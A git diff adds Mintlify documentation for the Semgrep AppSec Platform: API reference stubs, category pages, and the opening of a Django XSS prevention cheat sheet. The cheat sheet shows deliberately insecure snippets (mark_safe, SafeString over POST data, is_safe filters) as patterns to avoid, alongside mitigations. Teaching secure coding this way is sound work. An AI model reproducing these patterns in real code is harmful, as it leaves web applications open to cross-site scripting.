diff --git a/.codemapignore b/.codemapignore
deleted file mode 100644
index 0d212e1db6..0000000000
--- a/.codemapignore
+++ /dev/null
@@ -1,6 +0,0 @@
-# -*- sh -*-
-# gitignore-like file for Codemap (see https://github.com/aryx/codemap)
-# This is useful to perform LOC stats on our different codebases
-# by skipping autogenerated code and count only real LOC we wrote.
-
-/static
diff --git a/mintlify-docs/LICENSE b/mintlify-docs/LICENSE
new file mode 100644
index 0000000000..5411374274
--- /dev/null
+++ b/mintlify-docs/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2023 Mintlify
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/Authentication.mdx b/mintlify-docs/api-reference/Authentication.mdx
new file mode 100644
index 0000000000..2e9d29663a
--- /dev/null
+++ b/mintlify-docs/api-reference/Authentication.mdx
@@ -0,0 +1,7 @@
+---
+title: "Authentication"
+---
+
+The API supports authentication with an API token with the "Web API" permission, without limited scopes of access.
+
+You can provision an API token [from the Settings page](https://semgrep.dev/orgs/-/settings/tokens).
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/DeploymentsService.mdx b/mintlify-docs/api-reference/DeploymentsService.mdx
new file mode 100644
index 0000000000..70c42bc2a5
--- /dev/null
+++ b/mintlify-docs/api-reference/DeploymentsService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Deployment"
+description: "Deployments encapsulate your organization's security organization, with multiple projects, policies, and integrations. As the root object of the organization, they're similarly the root object of the API."
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/FindingsService.mdx b/mintlify-docs/api-reference/FindingsService.mdx
new file mode 100644
index 0000000000..c2f1118e5d
--- /dev/null
+++ b/mintlify-docs/api-reference/FindingsService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Code, Supply Chain, and AI-Powered Scan"
+description: "Manage and retrieve code, supply chain, and AI-powered scan findings from Semgrep scans"
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/Introduction.mdx b/mintlify-docs/api-reference/Introduction.mdx
new file mode 100644
index 0000000000..d138e3afcf
--- /dev/null
+++ b/mintlify-docs/api-reference/Introduction.mdx
@@ -0,0 +1,18 @@
+---
+title: "Introduction"
+description: "Welcome to Semgrep's portal for the Semgrep AppSec Platform web API."
+---
+
+Semgrep is a fast, open-source, static analysis tool for finding bugs and enforcing code standards at editor, commit, and CI time. [Get started.](https://semgrep.dev/getting-started/)
+
+Semgrep analyzes code locally on your computer or in your build environment: **code is never uploaded.**
+
+This API is documented in the **OpenAPI format**.
+
+
+Download OpenAPI specification:
+
+
+
+
+
diff --git a/mintlify-docs/api-reference/MiscService.mdx b/mintlify-docs/api-reference/MiscService.mdx
new file mode 100644
index 0000000000..f3244a79b8
--- /dev/null
+++ b/mintlify-docs/api-reference/MiscService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Other"
+description: "Utility endpoints."
+---
diff --git a/mintlify-docs/api-reference/PoliciesService.mdx b/mintlify-docs/api-reference/PoliciesService.mdx
new file mode 100644
index 0000000000..706772331b
--- /dev/null
+++ b/mintlify-docs/api-reference/PoliciesService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Policies"
+description: "View and manage the Policies of your organization."
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/ScansService.mdx b/mintlify-docs/api-reference/ScansService.mdx
new file mode 100644
index 0000000000..185c4fef02
--- /dev/null
+++ b/mintlify-docs/api-reference/ScansService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Scans"
+description: "View details of scans associated with projects in your organization."
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/SecretsService.mdx b/mintlify-docs/api-reference/SecretsService.mdx
new file mode 100644
index 0000000000..e0c7cda1e5
--- /dev/null
+++ b/mintlify-docs/api-reference/SecretsService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Secrets"
+description: "View and manage the Secrets of your organization."
+---
diff --git a/mintlify-docs/api-reference/SupplyChainService.mdx b/mintlify-docs/api-reference/SupplyChainService.mdx
new file mode 100644
index 0000000000..79b96cf4aa
--- /dev/null
+++ b/mintlify-docs/api-reference/SupplyChainService.mdx
@@ -0,0 +1,6 @@
+---
+title: "Supply Chain"
+description: "Manage the Supply Chain findings and dependencies of your organization."
+---
+
+A request body is required, but may be an empty object.
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/Terms-of-Use.mdx b/mintlify-docs/api-reference/Terms-of-Use.mdx
new file mode 100644
index 0000000000..801c6415a7
--- /dev/null
+++ b/mintlify-docs/api-reference/Terms-of-Use.mdx
@@ -0,0 +1,5 @@
+---
+title: "Terms of Use"
+---
+
+Please note, the materials made available herein are subject to the [Semgrep Terms of Use](https://semgrep.dev/resources/website-terms/), and your access or use of any of the same is your acknowledgment and acceptance of the such terms.
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/TicketingService.mdx b/mintlify-docs/api-reference/TicketingService.mdx
new file mode 100644
index 0000000000..f55f70497a
--- /dev/null
+++ b/mintlify-docs/api-reference/TicketingService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Ticketing"
+description: "Create and manage external tickets"
+---
diff --git a/mintlify-docs/api-reference/TriageService.mdx b/mintlify-docs/api-reference/TriageService.mdx
new file mode 100644
index 0000000000..232c7b9812
--- /dev/null
+++ b/mintlify-docs/api-reference/TriageService.mdx
@@ -0,0 +1,4 @@
+---
+title: "Triage"
+description: "View and manage the triage of your organization."
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/deploymentsservice/list-deployments.mdx b/mintlify-docs/api-reference/deploymentsservice/list-deployments.mdx
new file mode 100644
index 0000000000..2b0ceaa963
--- /dev/null
+++ b/mintlify-docs/api-reference/deploymentsservice/list-deployments.mdx
@@ -0,0 +1,4 @@
+---
+title: "List deployments"
+openapi: get /api/v1/deployments
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/findingsservice/list-code-or-supply-chain-findings.mdx b/mintlify-docs/api-reference/findingsservice/list-code-or-supply-chain-findings.mdx
new file mode 100644
index 0000000000..b913c989db
--- /dev/null
+++ b/mintlify-docs/api-reference/findingsservice/list-code-or-supply-chain-findings.mdx
@@ -0,0 +1,4 @@
+---
+title: "List code, supply chain, or AI-powered scan findings"
+openapi: get /api/v1/deployments/{deploymentSlug}/findings
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/miscservice/[beta]-get-sms-vpc-bootstrap-cloudformation-template.mdx b/mintlify-docs/api-reference/miscservice/[beta]-get-sms-vpc-bootstrap-cloudformation-template.mdx
new file mode 100644
index 0000000000..ace4156376
--- /dev/null
+++ b/mintlify-docs/api-reference/miscservice/[beta]-get-sms-vpc-bootstrap-cloudformation-template.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/bootstrap-sms-vpc
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/miscservice/ping.mdx b/mintlify-docs/api-reference/miscservice/ping.mdx
new file mode 100644
index 0000000000..29d5fd4a25
--- /dev/null
+++ b/mintlify-docs/api-reference/miscservice/ping.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/ping
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/policiesservice/list-policies.mdx b/mintlify-docs/api-reference/policiesservice/list-policies.mdx
new file mode 100644
index 0000000000..da1276b469
--- /dev/null
+++ b/mintlify-docs/api-reference/policiesservice/list-policies.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/deployments/{deploymentId}/policies
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/policiesservice/list-policy-rules.mdx b/mintlify-docs/api-reference/policiesservice/list-policy-rules.mdx
new file mode 100644
index 0000000000..8118e32777
--- /dev/null
+++ b/mintlify-docs/api-reference/policiesservice/list-policy-rules.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/deployments/{deploymentId}/policies/{policyId}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/policiesservice/update-policy.mdx b/mintlify-docs/api-reference/policiesservice/update-policy.mdx
new file mode 100644
index 0000000000..5f2da7ef7b
--- /dev/null
+++ b/mintlify-docs/api-reference/policiesservice/update-policy.mdx
@@ -0,0 +1,3 @@
+---
+openapi: put /api/v1/deployments/{deploymentId}/policies/{policyId}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/projectsservice/add-tags-to-project.mdx b/mintlify-docs/api-reference/projectsservice/add-tags-to-project.mdx
new file mode 100644
index 0000000000..1eaf4bb2ee
--- /dev/null
+++ b/mintlify-docs/api-reference/projectsservice/add-tags-to-project.mdx
@@ -0,0 +1,3 @@
+---
+openapi: put /api/v1/deployments/{deploymentSlug}/projects/{projectName}/tags
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/projectsservice/delete-project.mdx b/mintlify-docs/api-reference/projectsservice/delete-project.mdx
new file mode 100644
index 0000000000..e54e5d61ae
--- /dev/null
+++ b/mintlify-docs/api-reference/projectsservice/delete-project.mdx
@@ -0,0 +1,3 @@
+---
+openapi: delete /api/v1/deployments/{deploymentSlug}/projects/{projectName}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/projectsservice/get-project-details.mdx b/mintlify-docs/api-reference/projectsservice/get-project-details.mdx
new file mode 100644
index 0000000000..fdf7c8ffd4
--- /dev/null
+++ b/mintlify-docs/api-reference/projectsservice/get-project-details.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/deployments/{deploymentSlug}/projects/{projectName}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/projectsservice/list-all-projects.mdx b/mintlify-docs/api-reference/projectsservice/list-all-projects.mdx
new file mode 100644
index 0000000000..456b0a1d6d
--- /dev/null
+++ b/mintlify-docs/api-reference/projectsservice/list-all-projects.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/deployments/{deploymentSlug}/projects
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/projectsservice/remove-tags-from-project.mdx b/mintlify-docs/api-reference/projectsservice/remove-tags-from-project.mdx
new file mode 100644
index 0000000000..9ea0689288
--- /dev/null
+++ b/mintlify-docs/api-reference/projectsservice/remove-tags-from-project.mdx
@@ -0,0 +1,3 @@
+---
+openapi: delete /api/v1/deployments/{deploymentSlug}/projects/{projectName}/tags
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/projectsservice/toggle-managed-scans-for-a-project.mdx b/mintlify-docs/api-reference/projectsservice/toggle-managed-scans-for-a-project.mdx
new file mode 100644
index 0000000000..836ad45c31
--- /dev/null
+++ b/mintlify-docs/api-reference/projectsservice/toggle-managed-scans-for-a-project.mdx
@@ -0,0 +1,3 @@
+---
+openapi: patch /api/v1/deployments/{deploymentSlug}/projects/{projectName}/managed-scan
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/projectsservice/update-project-details.mdx b/mintlify-docs/api-reference/projectsservice/update-project-details.mdx
new file mode 100644
index 0000000000..08cb8c77c0
--- /dev/null
+++ b/mintlify-docs/api-reference/projectsservice/update-project-details.mdx
@@ -0,0 +1,3 @@
+---
+openapi: patch /api/v1/deployments/{deploymentSlug}/projects/{projectName}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/scansservice/get-scan-details.mdx b/mintlify-docs/api-reference/scansservice/get-scan-details.mdx
new file mode 100644
index 0000000000..1fdc876ac4
--- /dev/null
+++ b/mintlify-docs/api-reference/scansservice/get-scan-details.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/deployments/{deploymentId}/scan/{scanId}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/scansservice/list-scans-beta.mdx b/mintlify-docs/api-reference/scansservice/list-scans-beta.mdx
new file mode 100644
index 0000000000..b1e83e36ac
--- /dev/null
+++ b/mintlify-docs/api-reference/scansservice/list-scans-beta.mdx
@@ -0,0 +1,3 @@
+---
+openapi: post /api/v1/deployments/{deploymentId}/scans/search
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/secretsservice/list-secrets.mdx b/mintlify-docs/api-reference/secretsservice/list-secrets.mdx
new file mode 100644
index 0000000000..b6880982c5
--- /dev/null
+++ b/mintlify-docs/api-reference/secretsservice/list-secrets.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/deployments/{deploymentId}/secrets
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/supplychainservice/create-a-new-sbom-export-job.mdx b/mintlify-docs/api-reference/supplychainservice/create-a-new-sbom-export-job.mdx
new file mode 100644
index 0000000000..b48150086b
--- /dev/null
+++ b/mintlify-docs/api-reference/supplychainservice/create-a-new-sbom-export-job.mdx
@@ -0,0 +1,3 @@
+---
+openapi: post /api/v1/deployments/{deploymentId}/sbom/export
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/supplychainservice/get-the-status-of-a-sbom-export-job.mdx b/mintlify-docs/api-reference/supplychainservice/get-the-status-of-a-sbom-export-job.mdx
new file mode 100644
index 0000000000..0393e5ba28
--- /dev/null
+++ b/mintlify-docs/api-reference/supplychainservice/get-the-status-of-a-sbom-export-job.mdx
@@ -0,0 +1,3 @@
+---
+openapi: get /api/v1/deployments/{deploymentId}/sbom/export/{taskToken}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/supplychainservice/list-dependencies.mdx b/mintlify-docs/api-reference/supplychainservice/list-dependencies.mdx
new file mode 100644
index 0000000000..fe10e5f4d7
--- /dev/null
+++ b/mintlify-docs/api-reference/supplychainservice/list-dependencies.mdx
@@ -0,0 +1,3 @@
+---
+openapi: post /api/v1/deployments/{deploymentId}/dependencies
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/supplychainservice/list-lockfiles-in-a-given-repository-with-dependencies.mdx b/mintlify-docs/api-reference/supplychainservice/list-lockfiles-in-a-given-repository-with-dependencies.mdx
new file mode 100644
index 0000000000..39b500be2e
--- /dev/null
+++ b/mintlify-docs/api-reference/supplychainservice/list-lockfiles-in-a-given-repository-with-dependencies.mdx
@@ -0,0 +1,3 @@
+---
+openapi: post /api/v1/deployments/{deploymentId}/dependencies/repositories/{repositoryId}/lockfiles
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/supplychainservice/list-repositories-with-dependencies.mdx b/mintlify-docs/api-reference/supplychainservice/list-repositories-with-dependencies.mdx
new file mode 100644
index 0000000000..071f10a7b4
--- /dev/null
+++ b/mintlify-docs/api-reference/supplychainservice/list-repositories-with-dependencies.mdx
@@ -0,0 +1,3 @@
+---
+openapi: post /api/v1/deployments/{deploymentId}/dependencies/repositories
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/ticketingservice/create-jira-tickets.mdx b/mintlify-docs/api-reference/ticketingservice/create-jira-tickets.mdx
new file mode 100644
index 0000000000..fa4e40f42d
--- /dev/null
+++ b/mintlify-docs/api-reference/ticketingservice/create-jira-tickets.mdx
@@ -0,0 +1,3 @@
+---
+openapi: post /api/v1/deployments/{deploymentSlug}/tickets
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/ticketingservice/unlink-a-jira-ticket.mdx b/mintlify-docs/api-reference/ticketingservice/unlink-a-jira-ticket.mdx
new file mode 100644
index 0000000000..9778e152f6
--- /dev/null
+++ b/mintlify-docs/api-reference/ticketingservice/unlink-a-jira-ticket.mdx
@@ -0,0 +1,3 @@
+---
+openapi: delete /api/v1/deployments/{deploymentId}/ticketing/v2/tickets/{externalTicketId}
+---
\ No newline at end of file
diff --git a/mintlify-docs/api-reference/triageservice/bulk-triage.mdx b/mintlify-docs/api-reference/triageservice/bulk-triage.mdx
new file mode 100644
index 0000000000..f0920b259d
--- /dev/null
+++ b/mintlify-docs/api-reference/triageservice/bulk-triage.mdx
@@ -0,0 +1,3 @@
+---
+openapi: post /api/v1/deployments/{deploymentSlug}/triage
+---
\ No newline at end of file
diff --git a/mintlify-docs/category/bitbucket-pr-comments.mdx b/mintlify-docs/category/bitbucket-pr-comments.mdx
new file mode 100644
index 0000000000..586ded3ace
--- /dev/null
+++ b/mintlify-docs/category/bitbucket-pr-comments.mdx
@@ -0,0 +1,13 @@
+---
+title: "Bitbucket PR comments"
+---
+
+
+
+ Enable PR comments in your Bitbucket Cloud repositories to display Semgrep findings to developers.
+
+
+
+ Enable PR comments in your Bitbucket Data Center repositories to display Semgrep findings to developers.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/ci-references-1.mdx b/mintlify-docs/category/ci-references-1.mdx
new file mode 100644
index 0000000000..fae970452c
--- /dev/null
+++ b/mintlify-docs/category/ci-references-1.mdx
@@ -0,0 +1,21 @@
+---
+title: "CI references"
+---
+
+
+
+ Configure Semgrep in CI by setting various environment variables. Enable diff-aware scanning, connect to Semgrep AppSec Platform, and more.
+
+
+
+ View sample configuration files to run Semgrep with various CI/CD providers such as GitHub, GitLab, Jenkins, Buildkite, CircleCI, and more.
+
+
+
+ Learn how Semgrep Pro tracks findings and triage states in CI pipelines.
+
+
+
+ Packages included in the latest Semgrep docker image.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/ci-references.mdx b/mintlify-docs/category/ci-references.mdx
new file mode 100644
index 0000000000..de7b2346b7
--- /dev/null
+++ b/mintlify-docs/category/ci-references.mdx
@@ -0,0 +1,21 @@
+---
+title: "CI references"
+---
+
+
+
+ Configure Semgrep in CI by setting various environment variables. Enable diff-aware scanning, connect to Semgrep AppSec Platform, and more.
+
+
+
+ View sample configuration files to run Semgrep with various CI/CD providers such as GitHub, GitLab, Jenkins, Buildkite, CircleCI, and more.
+
+
+
+ Learn how Semgrep Pro tracks findings and triage states in CI pipelines.
+
+
+
+ Packages included in the latest Semgrep docker image.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/deployment-at-scale.mdx b/mintlify-docs/category/deployment-at-scale.mdx
new file mode 100644
index 0000000000..15d3f700b8
--- /dev/null
+++ b/mintlify-docs/category/deployment-at-scale.mdx
@@ -0,0 +1,21 @@
+---
+title: "Deployment at scale"
+---
+
+
+
+ 1 item
+
+
+
+ Manage tokens used to authorize requests to Semgrep AppSec Platform and API.
+
+
+
+ Guidelines on how to add or remove tags through Semgrep AppSec Platform and semgrepconfig.yml file.
+
+
+
+ Learn how to set up the Semgrep Network Broker, which facilitates secure access between Semgrep and your private network.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/glossaries-1.mdx b/mintlify-docs/category/glossaries-1.mdx
new file mode 100644
index 0000000000..5f9b6cd97d
--- /dev/null
+++ b/mintlify-docs/category/glossaries-1.mdx
@@ -0,0 +1,12 @@
+---
+title: "Glossaries"
+---
+
+
+
+Definitions of Semgrep Code product-specific terms.
+
+
+Definitions of Semgrep Supply Chain and software composition analysis (SCA) terms.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/glossaries.mdx b/mintlify-docs/category/glossaries.mdx
new file mode 100644
index 0000000000..023b8b0251
--- /dev/null
+++ b/mintlify-docs/category/glossaries.mdx
@@ -0,0 +1,13 @@
+---
+title: "Glossaries"
+---
+
+
+
+ Definitions of Semgrep Code product-specific terms.
+
+
+
+ Definitions of Semgrep Supply Chain and software composition analysis (SCA) terms.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/go.mdx b/mintlify-docs/category/go.mdx
new file mode 100644
index 0000000000..3b96a378ec
--- /dev/null
+++ b/mintlify-docs/category/go.mdx
@@ -0,0 +1,15 @@
+---
+title: "Go"
+description: "Security guides and cheatsheets for the Go programming language and related frameworks."
+---
+
+
+
+
+ Cheat sheet for the prevention of Command Injection vulnerabilities for Go.
+
+
+
+ Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Go and net/http.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/java.mdx b/mintlify-docs/category/java.mdx
new file mode 100644
index 0000000000..5eb408017a
--- /dev/null
+++ b/mintlify-docs/category/java.mdx
@@ -0,0 +1,22 @@
+---
+title: "Java"
+description: "Security guides and cheatsheets for the Java programming language and related frameworks."
+---
+
+
+
+ Cheat sheet for the prevention of Code Injection vulnerabilities for Java.
+
+
+
+ Cheat sheet for the prevention of Command Injection vulnerabilities for Java.
+
+
+
+ Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Java and Java Server Pages (JSP).
+
+
+
+ Cheat sheet for the prevention of XML External Entity (XEE) vulnerabilities for Java.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/javascript.mdx b/mintlify-docs/category/javascript.mdx
new file mode 100644
index 0000000000..670e2534be
--- /dev/null
+++ b/mintlify-docs/category/javascript.mdx
@@ -0,0 +1,18 @@
+---
+title: "JavaScript"
+description: "Security guides and cheatsheets for the JavaScript programming language, Node and related frameworks."
+---
+
+
+
+ Cheat sheet for the prevention of Code Injection vulnerabilities for JavaScript.
+
+
+
+ Cheat sheet for the prevention of Command Injection vulnerabilities for JavaScript.
+
+
+
+ Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for ExpressJS.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/language-reference.mdx b/mintlify-docs/category/language-reference.mdx
new file mode 100644
index 0000000000..ee90444fda
--- /dev/null
+++ b/mintlify-docs/category/language-reference.mdx
@@ -0,0 +1,16 @@
+---
+title: "Language reference"
+sidebarTitle: "Language reference"
+---
+
+
+
+ Definitions for language maturity levels across Semgrep products.
+
+
+ Definitions for Semgrep Code and Supply Chain analysis features.
+
+
+ Proprietary Semgrep features for the Java language that can increase true positives and reduce false positives.
+
+
diff --git a/mintlify-docs/category/language-specific-features.mdx b/mintlify-docs/category/language-specific-features.mdx
new file mode 100644
index 0000000000..c75ba35ea5
--- /dev/null
+++ b/mintlify-docs/category/language-specific-features.mdx
@@ -0,0 +1,9 @@
+---
+title: "Language-specific features"
+---
+
+
+
+ Proprietary Semgrep features for the Java language that can increase true positives and reduce false positives.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/local-and-cli-scans.mdx b/mintlify-docs/category/local-and-cli-scans.mdx
new file mode 100644
index 0000000000..4faea5b9d8
--- /dev/null
+++ b/mintlify-docs/category/local-and-cli-scans.mdx
@@ -0,0 +1,25 @@
+---
+title: "Local and CLI scans"
+---
+
+
+
+ Learn how to set up Semgrep, scan your first project for security issues, and view your findings in the CLI.
+
+
+
+ Learn how to use local Semgrep rules in your scans.
+
+
+
+ Update Semgrep by running the correct commands for your environment or operating system.
+
+
+
+ Send your local scans to Semgrep AppSec Platform to view and track your findings.
+
+
+
+ Get more information when Semgrep hangs, crashes, times out, or runs very slowly.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/pr-or-mr-comments.mdx b/mintlify-docs/category/pr-or-mr-comments.mdx
new file mode 100644
index 0000000000..8e20e6ef24
--- /dev/null
+++ b/mintlify-docs/category/pr-or-mr-comments.mdx
@@ -0,0 +1,21 @@
+---
+title: "PR or MR comments"
+---
+
+
+
+ Enable PR comments in your Azure DevOps repositories to display Semgrep findings to developers.
+
+
+
+ Enable pull request (PR) comments in your GitHub repositories to display Semgrep findings to developers.
+
+
+
+ Enable merge request (MR) comments in your GitLab repositories to display Semgrep findings to developers.
+
+
+
+ 2 items
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/python.mdx b/mintlify-docs/category/python.mdx
new file mode 100644
index 0000000000..e859592005
--- /dev/null
+++ b/mintlify-docs/category/python.mdx
@@ -0,0 +1,28 @@
+---
+title: "Python"
+description: "Security guides and cheatsheets for the Python programming language and related frameworks."
+---
+
+
+
+
+
+ Cheat sheet for the prevention of Code Injection vulnerabilities for Python.
+
+
+
+ Cheat sheet for the prevention of Command Injection vulnerabilities for Python.
+
+
+
+ Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Python and Django.
+
+
+
+ Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Python and Flask.
+
+
+
+ Learn about Insecure Deserialization vulnerabilities for Python
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/ruby.mdx b/mintlify-docs/category/ruby.mdx
new file mode 100644
index 0000000000..36259f64f3
--- /dev/null
+++ b/mintlify-docs/category/ruby.mdx
@@ -0,0 +1,18 @@
+---
+title: "Ruby"
+description: "Security guides and cheatsheets for the Ruby programming language and related frameworks."
+---
+
+
+
+ Cheat sheet for the prevention of Code Injection vulnerabilities for Ruby.
+
+
+
+ Cheat sheet for the prevention of Command Injection vulnerabilities for Ruby.
+
+
+
+ Cheat sheet for the prevention of Cross-site Scripting (XSS) vulnerabilities for Ruby on Rails.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/category/scan-repositories-with-the-appsec-platform.mdx b/mintlify-docs/category/scan-repositories-with-the-appsec-platform.mdx
new file mode 100644
index 0000000000..644006bd3d
--- /dev/null
+++ b/mintlify-docs/category/scan-repositories-with-the-appsec-platform.mdx
@@ -0,0 +1,45 @@
+---
+title: "Scan repositories with the AppSec Platform"
+---
+
+
+
+ 4 items
+
+
+
+ 1 item
+
+
+
+ Set up your CI pipeline with Semgrep AppSec Platform for centralized rule and findings management.
+
+
+
+ Set up your CI pipeline manually with Semgrep AppSec Platform for centralized rule and findings management.
+
+
+
+ Customize your CI job to fit your organization's workflows.
+
+
+
+ Configure how Semgrep in CI pipelines handles errors and blocks findings.
+
+
+
+ 1 item
+
+
+
+ View projects, detailed logs, and information for any scan.
+
+
+
+ Set your primary or default branch to ensure Semgrep full scans display accurate counts and deduplicated findings.
+
+
+
+ Not seeing what you expect in Semgrep AppSec Platform? Follow these troubleshooting steps or find out how to get one-on-one help.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/cheat-sheets/django-xss.mdx b/mintlify-docs/cheat-sheets/django-xss.mdx
new file mode 100644
index 0000000000..ff62ec82dd
--- /dev/null
+++ b/mintlify-docs/cheat-sheets/django-xss.mdx
@@ -0,0 +1,359 @@
+---
+title: "Prevent XSS in Django"
+sidebarTitle: "XSS in Django"
+---
+
+This is a cross-site scripting (XSS) prevention cheat sheet by Semgrep, Inc. It contains code patterns of potential XSS in an application. Instead of scrutinizing code for exploitable vulnerabilities, the recommendations in this cheat sheet pave a safe road for developers that mitigate the possibility of XSS in your code. By following these recommendations, you can be reasonably sure your code is free of XSS.
+
+
+Learn more about [Cross-site Scripting](/learn/vulnerabilities/cross-site-scripting) vulnerability concepts.
+
+## Mitigation summary
+
+In general, always use the template engine provided by Django using `render()`. If you need HTML escaping, use `mark_safe()` combined with `format_html() `and review each individual usage carefully. Once reviewed, mark with `# nosem`. Beware of putting data in dangerous locations in templates. And as always, run a security checker continuously on your code.
+
+Semgrep ruleset for this cheatsheet: [https://semgrep.dev/p/minusworld.django-xss](https://semgrep.dev/p/minusworld.django-xss)
+
+### Check your project using Semgrep
+
+```bash
+semgrep --config p/minusworld.django-xss
+```
+
+## 1. Server code: Marking "safe" content, which does not escape HTML
+
+### 1.A. Using **mark_safe()**
+
+`mark_safe()` marks the returned content as "safe to render." This instructs the template engine to bypass HTML escaping, creating the possibility of a XSS vulnerability.
+
+Example:
+
+```python
+mark_safe(html_content)
+```
+
+#### References:
+
+- [`mark_safe()` documentation](https://docs.djangoproject.com/en/3.1/ref/utils/#django.utils.safestring.mark_safe)
+- [Bandit Check B703 - Django `mark_safe()`](https://bandit.readthedocs.io/en/latest/plugins/b703_django_mark_safe.html)
+- [`format_html()` documentation](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html)
+
+
+#### Mitigation
+
+Ban `mark_safe()`. Alternatively, if needed, use in combination with `format_html()` and review each usage carefully. Create an exemption with `# nosem`.
+
+#### Semgrep rule
+
+[`python.django.security.audit.avoid-mark-safe.avoid-mark-safe`](https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe)
+
+### 1.B. Using the **SafeString** class directly
+
+The `SafeString` class is how Django determines which variables should be escaped and which should not. Elements passed to `mark_safe()` are returned as a `SafeString`. Invoking `SafeString` directly will bypass HTML escaping which could create a XSS vulnerabliity.
+
+Example:
+```python
+SafeString(f"
{request.POST.get('name')}
")
+```
+
+#### References:
+
+- [Filters and auto-escaping in Django](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)
+- [`SafeString` documentation](https://docs.djangoproject.com/en/3.1/ref/utils/#django.utils.safestring.SafeString)
+
+#### Mitigation
+
+Ban `SafeString()`. Alternatively, prefer `mark_safe()` if necessary.
+
+### 1.C. Registering a custom filter with **is_safe=True**
+
+
+Registering a filter with `is_safe=True` indicates to Django that the filter absolutely does not introduce any unsafe HTML characters. The value returned from the filter will be marked as "safe" when the input is also marked "safe". Generally, this is acceptable, but if you cannot be certain the filter is safe, it may introduce a XSS vulnerability.
+
+Example:
+
+```python
+@register.filter(is_safe=True)
+def myfilter(value):
+ return value
+```
+
+#### References:
+
